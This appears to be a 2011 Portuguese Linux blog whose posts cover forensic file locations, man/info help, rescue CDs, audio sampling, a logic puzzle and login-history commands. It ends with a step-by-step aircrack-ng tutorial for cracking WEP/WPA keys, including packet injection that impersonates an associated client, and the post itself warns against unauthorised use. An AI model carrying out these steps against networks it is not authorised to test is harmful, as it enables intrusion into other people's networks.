quinta-feira, 17 de novembro de 2011

Computação forense em Linux: arquivos e diretórios importantes

Muitos arquivos armazenados pelo sistema Linux podem fornecer informações valiosas sobre o perfil, propósito e uso do computador. Tais como arquivos de configuração de ambiente, configuração dos programas, arquivos gerados pelo sistema etc.

Também alguns locais específicos podem conter arquivos de interesse forense, como diretórios de arquivos temporários, de log, de uso da rede etc.

Configuração do sistema:

/etc/

O diretório '/etc/' contém todos os arquivos de configuração do sistema operacional. Também existe o subdiretório '/etc/skel/' que contém os arquivos que irão popular inicialmente o '/home/usuario' de um usuário recém criado. O diretório '/etc/' é um diretório importante pois contém todas as configurações realizadas pelo administrador do sistema.

Contas de usuários e grupos:

/etc/passwd

O arquivo '/etc/passwd' contém as contas dos usuários configurados no sistema. Cada definição de conta fica em uma linha e o conteúdo das linhas estão separados em campos.

/etc/shadow

O arquivo '/etc/shadow' armazena as senhas em um formato criptografado, com algumas informações adicionais relacionadas as senhas dos usuários. Contém uma entrada por linha, separada em campos, para cada usuário definido no '/etc/passwd'.

/etc/group

O arquivo '/etc/group' define os grupos os quais os usuários pertencem. Cada grupo é definido em uma linha separada por campos.

/etc/gshadow

O arquivo '/etc/gshadow' armazena as senhas dos grupos em um formato criptografado. Contém uma entrada por linha, separada em campos, para cada grupo definido no '/etc/group'.

Ambiente dos usuários:

/etc/bashrc

O arquivo '/etc/bashrc' é um arquivo de inicialização do shell de alcance em todo o sistema. É executado por todos os usuários quando um novo shell é aberto. É usado para definir funções e apelidos.

/etc/profile

O arquivo '/etc/profile' contém configurações de ambiente e chamadas de inicialização de programas de alcance em todo o sistema. É usado por todos os usuários. Este arquivo somente é executado durante o login do usuário. Configurações complexas devem ser definidas no diretório '/etc/profile.d/'.

/etc/profile.d/

Todas as configurações complexas de ambiente são colocadas em arquivos neste diretório. Os scripts deste diretório são acionados por um laço "for" no arquivo '/etc/profile'.

Os arquivos '/etc/bashrc' e '/etc/profile' possuem arquivos equivalentes para o diretório pessoal do usuário. São os arquivos '~/.bashrc' e '~/.bash_profile'. Existe também o arquivo '~/.bash_logout' que é lido e executado toda vez que o usuário sai de um shell. Estes arquivos funcionam apenas para a sessão do próprio usuário.

Serviços em execução:

Os serviços são programas (daemons) que são iniciados e mantidos em execução em segundo plano, ficam monitorando o computador e respondem às mudanças.

Para organizar o controle dos serviços, muitas variantes do Unix System V, e isto inclui diversas distribuições do Linux, usam scripts nos diretórios '/etc/rcN.d/' para controlar quais serviços serão iniciados dentre os níveis de execução.

Se um serviço deve ser iniciado no nível de execução 5 então é colocado o seu script em '/etc/rc5.d/'.

Existe também o script '/etc/rc.d/rc.local', que é executado após os outros scripts de inicialização de serviço.

Para evitar múltiplas cópias do mesmo script, foi adotado o padrão de colocar todos os scripts de controle dos serviços no diretório '/etc/init.d/' e usar links simbólicos para estes scripts nos diretórios '/etc/rcN.d/'.

Na distribuição Fedora os links e os scripts estão nos diretórios '/etc/rc.d/rcN.d/' e '/etc/rc.d/init.d/', porém é mantido no diretório '/etc/' os links simbólicos para estes diretórios.

Outras distros adotam uma estrutura distinta: No Slackware os scripts ficam em '/etc/rc.d/' e são executados se estiverem com permissão de execução. No Debian os scripts ficam em '/etc/init.d/' e são executados se tiverem links em '/etc/rcN.d/'. E no openSUSE os scripts ficam em '/etc/init.d/' e são executados se tiverem links em '/etc/init.d/rcN.d/'.

Configuração de rede:

Alguns arquivos, localizados a partir do diretório '/etc/', são para armazenar as configurações de rede. (estrutura Red Hat/Fedora)

/etc/hosts                       Lista de endereços IP e os nomes do host
/etc/host.conf                   Especifica como o sistema determina os nomes do host
/etc/resolv.conf                 Especifica o servidor do serviço de DNS
/etc/networks                    Lista de endereços IP e os nomes das redes
/etc/sysconfig/network           Ativa a rede, especifica nomes do host e do gateway
/etc/sysconfig/network-scripts/  Configurações e scripts do serviço "network"
/etc/sysconfig/networking/       Configurações geradas pela ferramenta gráfica de rede
/etc/sysconfig/iptables          Regras do firewall

Servidores de rede:

Uma máquina com sistema Linux pode estar preparada para prestar diversos serviços de rede. Cada servidor possui diretórios específicos para configuração do serviço:

/etc/samba/                      Software para operar com máquinas Windows pela rede
/etc/httpd/                      Servidor HTTP Apache
/etc/vsftpd/                     Servidor FTP vsftpd
/etc/squid/                      Servidor proxy Squid
/etc/ssh/                        Servidor SSH
/etc/dhcp/                       Servidor DHCP
/etc/ltsp/                       Servidor LTSP (Linux Terminal Server)

Os servidores possuem também diretórios para armazenamento dos arquivos compartilhados:

/var/www/                        Páginas servidas pelo Apache
/var/ftp/                        Arquivos servidos por FTP
/var/spool/squid/                Cache do Squid
/var/lib/dhcpd/dhcpd.leases      IPs atribuídos por DHCP
/var/lib/tftpboot/ltsp/          Configuração dos terminais LTSP
/opt/ltsp/                       Imagens de sistema para LTSP

Arquivos temporários e log:

Um sistema ativo, com diversos processos em execução, armazena automaticamente muitas informações e dados dos processos. Arquivos de log registram o uso do sistema, de uma forma geral ou especificamente para determinada aplicação. Diversas aplicações armazenam cópias dos arquivos processados em cache ou geram arquivos temporários.

/var/log/                        Arquivos de log diversos
/var/log/messages                Arquivo de log geral do sistema
/var/spool/                      Dados que esperam por processamento
/var/run/                        Dados que descrevem o sistema desde sua inicialização
/var/cache/                      Cache de dados de aplicativos
/var/tmp/                        Arquivos temporários preservados entre reinicializações
/tmp/                            Arquivos temporários gerais

Aplicações para Internet:

Todos os aplicativos de Internet para acesso à web, e-mail, mensagens instantâneas, possuem diretórios e arquivos para armazenar o conteúdo gerenciado. Os navegadores podem armazenar o histórico das páginas visitadas e os respectivos arquivos baixados em cache. Os mensageiros instantâneos podem armazenar a lista de contatos e as mensagens trocadas. Os clientes de e-mail podem armazenar o catálogo de endereços e os e-mails enviados e recebidos. Até alguns plugins podem armazenar o conteúdo multimídia acessado. Cada usuário terá o seu conjunto de diretórios para estes aplicativos.

Navegador Firefox

~/.mozilla/firefox/xxxxxxxx.default/Cache/
~/.mozilla/firefox/xxxxxxxx.default/

Navegador Opera

~/.opera/cache/
~/.opera/

Navegador Google Chrome

~/.cache/google-chrome/Cache/
~/.config/google-chrome/Default/

Comunicador aMSN

~/.amsn/

Comunicador Kopete

~/.kde/share/apps/kopete
~/.kde/share/config/kopeterc

Comunicador Pidgin

~/.purple/

Cliente de e-mail Thunderbird

~/.thunderbird/xxxxxxxx.default/
~/.thunderbird/xxxxxxxx.default/Mail/
~/.thunderbird/xxxxxxxx.default/Cache/

Plugin Adobe Flash Player

~/.macromedia/Flash_Player/#SharedObjects/

Plugin Java

~/.java/deployment/cache/6.0/

Conhecer os locais das configurações e demais dados das diversas aplicações é muito importante para o examinador forense. O sistema é capaz de armazenar informações valiosas, muitas de forma automática e transparente para o administrador e usuário.

quinta-feira, 10 de novembro de 2011

Obtendo ajuda no Linux

No ambiente em modo texto do sistema operacional Linux, há dois comandos que exibem a ajuda dos diversos programas instalados no sistema. Estes documentos são as Páginas de Manual (Man Pages) e os Documentos de Informação (Info Documents).

Os comandos 'man' e 'info' exibem em um terminal em modo texto o conteúdo dos arquivos localizados em '/usr/share/man/' e '/usr/share/info/', respectivamente, em uma formatação de texto particular. Estes arquivos de ajuda são comumente fornecidos pelos próprios pacotes dos programas ou por "pacotões" como o man-pages, que contém uma larga coleção de documentos da Linux Documentation Project.


Páginas de Manual:

As páginas de manual vem originalmente do Unix e a maioria dos programas contém a ajuda neste formato. Possuem uma navegação simples pelas páginas, semelhante a ferramenta 'less', e geralmente tem o mesmo nome do respectivo programa.

O manual é dividido em seções numeradas de 1 a 9, de acordo com o tipo da página, e armazenadas em arquivos distintos (na maioria das vezes, as seções que mais interessam são 1, 5 e 8):

Seção   Tipo
1       Programas executáveis ou comandos do shell
2       Chamadas do sistema (funções do kernel)
3       Chamadas da biblioteca (funções de bibliotecas)
4       Arquivos especiais
5       Formatos de arquivo e convenções
6       Jogos
7       Miscelânea
8       Comandos do administrador do sistema
9       Rotinas do kernel

Cada página contém convencionalmente as seções NOME, SINOPSE, CONFIGURAÇÃO, DESCRIÇÃO, OPÇÕES, AMBIENTE, ARQUIVOS, NOTAS, AUTORES etc., e uma formatação nos caracteres (negrito, itálico, sublinhado etc.) para o significado das palavras (contudo limitada na capacidade de renderização do terminal).

Para executar o comando 'man' com determinada página de manual digita-se a linha de comando com a seguinte sintaxe:

man [seção] página

Por exemplo, para consultar a página de manual de um programa, usa-se:

# man ls          Exibe a página de manual do comando ls.
# man 8 chmod     Exibe a seção 8 da página de manual do comando chmod.

É possível procurar por uma determinada palavra, em todas as páginas manuais existentes no sistema, utilizando o parâmetro -K na linha de comando. Por exemplo:

# man -K palavra

As setas e as teclas PgUp e PgDn percorrem a página e para sair da página de manual pressiona-se a tecla Q.


Documentos de Informação:

Um outro meio de obter informações sobre os comandos, além das páginas de manual, é a documentação em formato Info, produzida pela ferramenta Texinfo e visualizada pelo comando 'info'.

Esta documentação utiliza recursos de hipertexto para navegação entre os textos, tornando mais confortável a leitura dos documentos, e da mesma forma, o arquivo Info tem o mesmo nome do respectivo programa.

Para consultar esta documentação, utiliza-se o comando 'info' seguindo a sintaxe:

info [documento]

Se não for especificado o documento, será exibido o diretório principal como menu, com uma lista de todos os documentos disponíveis.

Exemplo:

# info ls

Para navegar dentro de um documento, usa-se a tecla TAB para mover o cursor para uma ligação e pressionando ENTER para abrir. A tecla P retorna para a página anterior, N vai para a próxima página e U sobe um nível. As setas e as teclas PgUp e PgDn percorrem a página e também avançam ou retrocedem entre elas. A qualquer momento pode-se pressionar a tecla H para entrar no texto de ajuda do Info. Para sair, pressiona-se Q.

Não são todos os programas que trazem a ajuda neste formato, este formato é mais aproveitado pelos utilitários Gnu.


Estes são os dois comandos que trazem ajuda para o usuário de Linux no ambiente texto. Experimente executar "man man", "info info", "man info" e "info man" para conhecer mais!

terça-feira, 18 de outubro de 2011

CDs para recuperação de S.O. em computadores

Pode acontecer em algum momento sermos surpreendidos, ao ligar o computador, com um sistema operacional que não inicia. A causa do problema pode ser variada, incluindo falta de algum arquivo importante, infecção de vírus, perda de configuração, sistema de arquivos corrompido e por aí vai.

Uma das soluções e talvez a primeira a ser tentada é a inicialização do computador usando um Live CD. Um Live CD é um CD contendo um sistema operacional que é executado diretamente a partir do CD, para a RAM, e assim não precisa ser instalado no disco rígido do computador.

Existem sistemas em Live CD que são específicos para recuperação do computador. Estes CDs trazem diversos softwares para analisar, arrumar e resgatar o sistema operacional ou outro software com problema.

Recomendo dois Live CDs que são bastante interessantes e funcionais em uma situação emergencial. Um deles é o Hiren's BootCD e o outro é o System Rescue CD.

O Hiren's BootCD (http://www.hirensbootcd.org/) é um CD bootável gratuito que contém muitas ferramentas úteis para as mais variadas situações de recuperação. É voltado principalmente para sistemas Windows, com ferramentas executáveis neste sistema e ainda contém um mini Windows XP, que é iniciado pelo CD. O Hiren's BootCD traz ferramentas para partições, backup, recuperação, antivírus, testes, acesso ao registro, senhas etc.

O System Rescue CD (http://www.sysresccd.org/) é um CD bootável livre com Linux para administração e conserto do sistema e dados. Traz uma série de softwares para Linux incluindo ferramentas para sistema e ferramentas básicas de manipulação de arquivos. Contém um kernel com suporte aos mais importantes recursos de hardware, software e um completo suporte à rede. Permite customização dos softwares instalados e a possibilidade de usá-lo com um pendrive ao invés da mídia óptica.

Com estes dois Live CDs podemos tentar recuperar o sistema sem a necessidade de uma reinstalação completa, claro que dependendo da situação. São ferramentas que não devem faltar a um profissional da informática.

segunda-feira, 17 de outubro de 2011

O que é amostra em áudio digital?

O som é uma onda mecânica, com os conceitos de amplitude (distância vertical entre o ponto máximo ou mínimo e o de equilíbrio), de comprimento de onda (distância percorrida pela onda durante uma oscilação), de frequência (número de oscilações por unidade de tempo) e de período (tempo decorrido numa oscilação).

Áudio digital é a representação computadorizada do som real. Para o som ser processado em um computador, o áudio analógico precisa ser convertido em dados digitais. A qualidade do áudio é determinada pela taxa de amostragem (sample rate) e pela profundidade de bits (bit depth), ou resolução. Quanto maior a taxa de amostragem e a profundidade de bits, melhor a qualidade do áudio, pois as amostras representam a onda analógica em valores bem próximos.

Amostras com tamanho de 4 bits, 16 valores

Uma amostra é uma informação sonora em um instante do som. Cada amostra representa a amplitude da onda no instante. A profundidade de bits, ou resolução, refere-se a quantidade de bits usada para representar cada amostra, ou seja, a quantidade de informação que uma amostra pode armazenar. Uma amostra de apenas um bit pode ser representada por apenas dois valores, 0 ou 1, e um áudio de CD, com uma resolução de 16 bits, possui uma amostra que pode ser representada por 65.536 valores distintos.

A taxa de amostragem é a quantidade de amostras por unidade de tempo, geralmente medida em Hertz (ciclos por segundo). Um áudio de CD possui 44.100 Hz, então cada segundo de som contém 44.100 amostras.

A taxa de bits (bit rate) é o número de bits processados por unidade de tempo. A taxa de bits é medida em bits por segundo (bps). O áudio de CD, com 44,1 kHz, 16 bits e 2 canais, possui uma taxa de bits de 44.100 x 16 x 2 = 1.411.200 ou 1411 kbps:

Taxa de bits = (taxa de amostragem em Hz) x (profundidade de bits) x (número de canais)

Quanto maior a resolução e a taxa de amostragem, maior será o arquivo que armazena o áudio digital. Para calcular o tamanho em bytes de um arquivo pode-se usar a seguinte fórmula:

Tamanho = (taxa de amostragem em Hz) x (profundidade de bits)/8 x (número de canais) x (tempo em segundos)

Em um CD onde o áudio é armazenado com 44,1 kHz, 16 bits e 2 canais, um minuto de música ocupa aproximadamente 10 megabytes de espaço:

(44.100 Hz) x (16 bits)/8 x (2 canais) x (60 segundos) = 10.584.000 bytes.

sábado, 15 de outubro de 2011

Problema de Lógica: Qual o mínimo de pessoas parentes?

Contando somente o parentesco que existe entre nós, somos pai, mãe, filho, filha, tio, tia, irmão, irmã, sobrinho, sobrinha e dois primos. Qual é o menor número de pessoas que poderiam ter feito tal afirmação?





RESPOSTA





Quatro pessoas: um irmão, uma irmã e seus filhos, um de cada sexo.

Exibição dos usuários logados em um sistema Linux

Em um sistema operacional Linux, duas ferramentas são bem interessantes para exibição dos usuários logados e dos últimos usuários que logaram no sistema. O comando who, do pacote coreutils, e o comando last, do pacote sysvinit-tools.

O comando who exibe informações de quem está logado atualmente. É uma ferramenta para linha de comando e possui diversas opções, incluindo:

-a     Exibe tudo, o mesmo que -b -d -l -p -r -t -T -u.
-b     Data e hora do último boot do sistema.
-d     Exibe processos mortos.
-l     Exibe os processos de login no sistema.
-p     Exibe os processos ativos criados pelo init.
-r     Exibe o nível de execução corrente.
-t     Exibe as últimas alterações no relógio.
-u     Lista os usuários logados.

A ferramenta who consulta as informações armazenadas no arquivo /var/run/utmp.

Exemplos:

# who -b
# who -u

O comando last consulta o arquivo /var/log/wtmp e exibe uma lista de todos os usuários que logaram e deslogaram no sistema, desde a criação do arquivo. Também é uma ferramenta para linha de comando e possui diversas opções, incluindo:

-n num   Quantidade das últimas linhas que serão exibidas.
-a       Exibe o nome do host na última coluna.
-d       Inclui logins remotos e exibe o nome dos hosts remotos.
-f file  Especifica outro arquivo ao invés de /var/log/wtmp.
-F       Datas e horas em formato completo.
-i       Inclui logins remotos e exibe o IP dos hosts remotos.
-x       Exibe as entradas de shutdown e mudanças nos níveis de execução.
-t YYYYMMDDHHMMSS   Exibe o estado dos logins até a data especificada.

Nomes de usuários e de terminais podem ser dados em sua linha de comando para filtrar a exibição.

Existe no sistema um pseudo usuário, denominado reboot, que é utilizado nos logs quando o sistema reinicia. Desta forma, este usuário mostrará os registros de início do sistema.

Há ainda o comando lastb, semelhante ao comando last, mas que exibe as tentativas frustradas de login. Esta ferramenta consulta o arquivo /var/log/btmp.

O sistema somente armazena as informações se os arquivos wtmp e btmp existirem. Eles podem ser criados com o simples comando touch. Estes arquivos costumam ser segmentados pelo sistema, arquivos com datas bem mais antigas recebem o nome no formato /var/log/wtmp-YYYMMDD. Pode ser útil consultá-los com a opção -f.

Exemplos:

# last -n 10
# last -i
# last fulano

domingo, 2 de outubro de 2011

Quebra de chave na rede sem fio

Pela interface de rede sem fio também é possível capturar pacotes que trafegam. Entretanto, em uma rede sem fio não é necessário estar conectado à rede para ter acesso as informações. Em uma rede sem fio o meio físico é acessível para quem estiver ao alcance pois os sinais são transmitidos pelo "ar".

A única forma de proteção é criptografar toda a transmissão, através do uso dos protocolos de segurança WEP ou WPA. Contudo, existem ferramentas que são capazes de quebrar uma chave de criptografia de rede sem fio. Neste artigo apresentarei algumas delas.

A primeira ferramenta que pode-se usar é o 'iwlist'. O 'iwlist' (pacote wireless-tools) é usado para exibir informações de uma interface de rede sem fio, que não são exibidas pelo 'iwconfig'. Esta ferramenta exibe os valor corrente e todos os valores suportados pela interface para frequência, taxa de bits, txpower, autenticação etc.

Esta ferramenta pode ser usada para descobrirmos quais redes existem por perto. O parâmetro "scan" retorna uma lista das células de pontos de acesso e Ad-Hoc ao alcance. Exibe informações sobre cada ponto de acesso encontrado, incluindo o ESSID, MAC Address, qualidade do link, frequência, autenticação etc. Por exemplo:

# iwlist wlan0 scan

wlan0     Scan completed :
          Cell 01 - Address: 00:36:5A:68:7E:A4
                    ESSID:"Casa"
                    Mode:Managed
                    Frequency:2.427 GHz (Channel 4)
                    Quality:2/5  Signal level:-71 dBm  Noise level:-92 dBm
                    IE: WPA Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (1) : TKIP
                        Authentication Suites (1) : PSK
                    Encryption key:on
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 9 Mb/s
                              18 Mb/s; 36 Mb/s; 54 Mb/s; 6 Mb/s; 12 Mb/s
                              24 Mb/s; 48 Mb/s
          Cell 02 - Address: 14:1C:6E:B9:82:DC
                    ESSID:"Escritorio"
                    Mode:Managed
                    Frequency:2.437 GHz (Channel 6)
                    Quality:1/5  Signal level:-82 dBm  Noise level:-92 dBm
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (2) : TKIP CCMP
                        Authentication Suites (1) : PSK
                       Preauthentication Supported
                    Encryption key:on
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                              12 Mb/s; 24 Mb/s; 36 Mb/s; 9 Mb/s; 18 Mb/s
                              48 Mb/s; 54 Mb/s

Uma interface de rede sem fio deve estar no modo de monitoramento para realizar a captura de pacotes. Apresento duas ferramentas que podem fazer isto: 'iwconfig' e 'airmon-ng'.

O 'iwconfig' (pacote wireless-tools) é similar ao 'ifconfig' mas é dedicado as interfaces sem fio. É usado para configurar os parâmetros da interface de rede que são específicas das operações sem fio, como ESSID, frequência, canal, taxa de bits, txpower etc. O 'iwconfig' pode ser usado para exibir tais parâmetros e estatísticas da rede sem fio.

O 'iwconfig' possui diversas opções e as utilizadas para ativar o modo de monitoramento são:

essid NOME
Define o ESSID ou desativa a checagem com off ou any e reativa com on.

mode MODO
Define o modo de operação do dispositivo, dependendo da topologia da rede. Os modos aceitos são: Ad-Hoc, Managed, Master, Repeater, Secondary, Monitor ou Auto.

Exemplo:

# iwconfig wlan1 essid any mode Monitor

O 'aircrack-ng' é um programa de quebra de chave 802.11 WEP e WPA-PSK. Pode recuperar as chaves quando uma quantidade suficiente de pacotes for capturada. Faz parte do pacote de ferramentas 'aircrack-ng', que contém diversas outras ferramentas:

airmon-ng - ativa modo de monitoramento em placas de rede sem fio
airodump-ng - ferramenta de captura de pacotes wireless para o aircrack-ng
aireplay-ng - injeta pacotes em uma rede sem fio gerando tráfego

O 'airmon-ng' é um script para ativar o modo de monitoramento em interfaces de rede. Também pode ser usado para retornar do modo monitor ao modo gerenciado.

As principais opções para linha de comando do 'airmon-ng' são:

start INTERFACE [CANAL]
Ativa o modo de monitoramento na interface (e especifica um canal).

stop INTERFACE
Desativa o modo de monitoramento e retorna ao modo gerenciado.

check
Lista todos os programas que podem interferir na interface de rede sem fio.

Executar o 'airmon-ng' sem opções irá exibir o estado da interface. Com a opção start inicia o modo de monitoramento. Exemplo:

# airmon-ng start wlan1

Em alguns drivers, da interface de rede sem fio, a ferramenta 'airmon-ng' age de uma forma diferente. O 'airmon-ng' cria uma interface virtual denominada "mon0". O mon0 é um apelido para a interface wlan0 em modo de monitoramento. As ferramentas do 'aircrack-ng' devem então usar a interface virtual mon0.

Para confirmar que a interface está no modo monitor, execute o comando 'iwconfig'.

Alguns modelos de placas wireless necessitam de comandos adicionais para desativar e reativar o dispositivo. Principalmente interfaces com chipset Atheros. Não são todos os drivers que suportam o modo de monitoramento.

O 'airodump-ng' é usado para capturar pacotes dos quadros 802.11. Adicionalmente, o 'airodump-ng' exibe detalhes dos pontos de acesso e clientes vistos.

Principais opções do 'airodump-ng':

-w PREFIXO
Prefixo do nome do arquivo usado para gravação. Se não informado, irá somente exibir os dados na tela.

-c CANAL
Especifica um ou mais canais para escuta (entre vírgulas).

-d BSSID
Somente exibirá as redes do BSSID dado.

-r ARQUIVO
Lê os pacotes de um arquivo.

Exemplo de uso:

# airodump-ng --channel 6 -w redewl -d 00:22:33:3D:66:77 mon0

Para interromper utilize as teclas Ctrl+C.

O 'airodump-ng' mostra uma lista dos pontos de acesso detectados e também clientes conectados.

CH  9 ][ Elapsed: 1 min ][ 2007-04-26 17:41 ][ WPA handshake: 00:14:6C:7E:40:80

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

00:09:5B:1C:AA:1D   11  16       10        0    0  11  54.  OPN              NETGEAR
00:14:6C:7A:41:81   34 100       57       14    1   9  11e  WEP  WEP         bigbear
00:14:6C:7E:40:80   32 100      752       73    2   9  54   WPA  TKIP   PSK  teddy

BSSID              STATION            PWR   Rate   Lost  Packets  Probes

00:14:6C:7A:41:81  00:0F:B5:32:31:31   51   36-24    2       14
(not associated)   00:14:A4:3F:8D:13   19    0-0     0        4    mossy
00:14:6C:7A:41:81  00:0C:41:52:D1:D1   -1   36-36    0        5
00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35   54-54    0       99    teddy


Campos exibidos pelo airodump-ng:

A primeira linha mostra o canal utilizado, tempo transcorrido, data atual e opcionalmente se a criptografia foi detectada.

Seção do Ponto de Acesso (AP):

BSSID       Endereço MAC do ponto de acesso, e para o cliente, o ponto de acesso associado.
PWR         Nível do sinal informado pela placa de rede. (-1 se o driver não suportar)
RXQ         Qualidade do recebimento medido em porcentagem dos pacotes recebidos com sucesso.
Beacons     Número de pacotes de anúncio enviados pelo AP.
# Data      Número de pacotes de dados capturados.
#/s         Número de pacotes de dados por segundo.
CH          Número do canal.
MB          Máxima velocidade suportada pelo AP.
ENC         Algoritmo de criptografia em uso. OPN (sem criptografia), WEP, WPA ou WPA2.
CIPHER      Cifra detectada. (CCMP, WRAP, TKIP, WEP, WEP40, ou WEP104).
AUTH        Protocolo de autenticação usado. (MGT, SKA, PSK, ou OPN)
ESSID       Nome da rede sem fio.

Seção do Cliente:

STATION     Endereço MAC de cada cliente associado a um AP.
PWR         Nível do sinal.
Rate        Velocidade (taxa de transferência) do último pacote transmitido.
Lost        Número de pacotes perdidos.
Packets     Número de pacotes enviados pelo cliente.
Probes      ESSIDs sondado pelo cliente, na tentativa de conectar.

Para a ferramenta 'aircrack-ng' ter sucesso na quebra de chave, é necessária uma grande quantidade de pacotes capturados. No entanto algumas redes tem um volume baixo de tráfego, levando muito tempo para que se consiga a quantidade desejada. Há uma ferramenta que pode ajudar a aumentar o tráfego da rede. O 'aireplay-ng' é usado para injetar ou repetir pacotes. Sua função primária é gerar tráfego para o uso do 'aircrack-ng'.

As principais opções do 'aireplay-ng' são:

-3
Requisição repetida do pacote ARP. O AP repete o pacote ARP com um novo vetor de inicialização (IV).

-b BSSID
Endereço MAC do ponto de acesso.

-h SMAC
Define o endereço MAC da fonte (cliente associado).

Exemplo de uso:

# aireplay-ng -3 -b 00:1B:11:54:44:1B -h 00:25:86:EB:4B:BA wlan1

O 'aireplay-ng' age fingindo ser um cliente que já está associado ao ponto de acesso. Por isso a necessidade da opção '-h SMAC'. Escolha um cliente associado ao AP na lista mostrada pela ferramenta 'airodump-ng', os clientes conectados ao ponto de acesso o qual deseja quebrar a chave.

A ferramenta 'aireplay-ng' deve ser executada simultaneamente com a ferramenta 'airodump-ng'. Em terminais separados, uma contribuindo para a outra. Aliás, a próxima ferramenta também pode ser executada simultaneamente, em mais um outro terminal, para dar início ao processo de quebra.

O 'aircrack-ng' é um programa de quebra de chaves 802.11 WEP e WPA/WPA2-PSK. É capaz de recuperar uma chave WEP logo que uma quantidade suficiente de pacotes estejam capturados. Utiliza dois métodos para determinar a chave WEP: aproximação PTW (Pyshkin, Tews, Weinmann) e FMS/KoreK. Adicionalmente o 'aircrack-ng' oferece um método de dicionário para determinar a chave WEP. Para quebrar chaves WPA/WPA2, o 'aircrack-ng' usa uma lista de palavras ou a ferramenta 'airolib-ng', que usa hashes tables.

As principais opções do 'aircrack-ng' são:

-a AMODE     Força o modo de ataque (wep ou wpa).
-c           Procura somente por caracteres alpha-numéricos.
-e ESSID     Seleciona a rede alvo pelo ESSID.
-b BSSID     Seleciona a rede alvo pelo endereço MAC do AP.
-n NBITS     Especifica o tamanho da chave:
             64 para 40-bit WEP, 128 para 104-bit WEP etc.
-w WORDS     Caminho para o arquivo de dicionário para quebra de WPA.
-r DATABASE  Caminho para a base do airolib-ng. Não usado com '-w'.

Exemplo de uso:

# aircrack-ng -n 128 RedeSemFio-02.cap

O sucesso da quebra pode demorar horas, tudo depende do volume capturado e do tamanho da chave. Mas um conselho, não quebre uma rede na qual você não tenha autorização, é crime. E é tão fácil descobrir e provar que um malandro fez isso. Juízo!